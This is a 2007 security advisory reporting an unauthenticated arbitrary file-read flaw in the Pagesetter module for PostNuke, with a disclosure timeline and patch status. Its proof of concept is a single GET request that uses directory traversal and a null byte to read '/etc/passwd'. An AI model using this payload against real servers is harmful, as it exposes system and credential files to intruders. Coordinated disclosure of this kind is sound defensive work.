SEC Consult Security Advisory 20070226-0 ======================================================================= title: File Disclosure in Pagesetter for PostNuke program: Pagesetter page creation module vulnerable version: 6.2.0 6.3.0 beta 5 impact: high homepage: http://www.elfisk.dk found: 2006-11-21 by: D. Matscheko / SEC-CONSULT / www.sec-consult.com ======================================================================= vendor description: --------------- Pagesetter is a publishing module that allows the PostNuke users to create web pages from structured data, with the data structure and output templates defined by the PostNuke administrator. [Source: http://www.elfisk.dk] vulnerability overview: --------------- The 3rd party module Pagesetter - up to its latest version (6.3.0 beta 5) - for PostNuke allows to read arbitrary files. An attacker does not need to be logged in but has to know the filename. proof of concept: --------------- Here is a sample request that reads the file '/etc/passwd': $ GET 'http://example.com/index.php?module=Pagesetter&type=file&func=preview&i d=../../../../../../../../../etc/passwd%00' vulnerable versions: --------------- Version 6.2.0 as well as 6.3.0 beta 5 are vulnerable to the described attack. No older versions were tested. vendor status: --------------- vendor notified: 2007-02-08 vendor response: 2007-02-08 patch available: 2007-02-08 coordinated disclosure: 2007-02-26 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Unternehmensberatung GmbH Office Vienna Blindengasse 3 A-1080 Wien Austria Tel.: +43 / 1 / 890 30 43 - 0 Fax.: +43 / 1 / 890 30 43 - 25 Mail: research at sec-consult dot com www.sec-consult.com EOF David Matscheko / @2007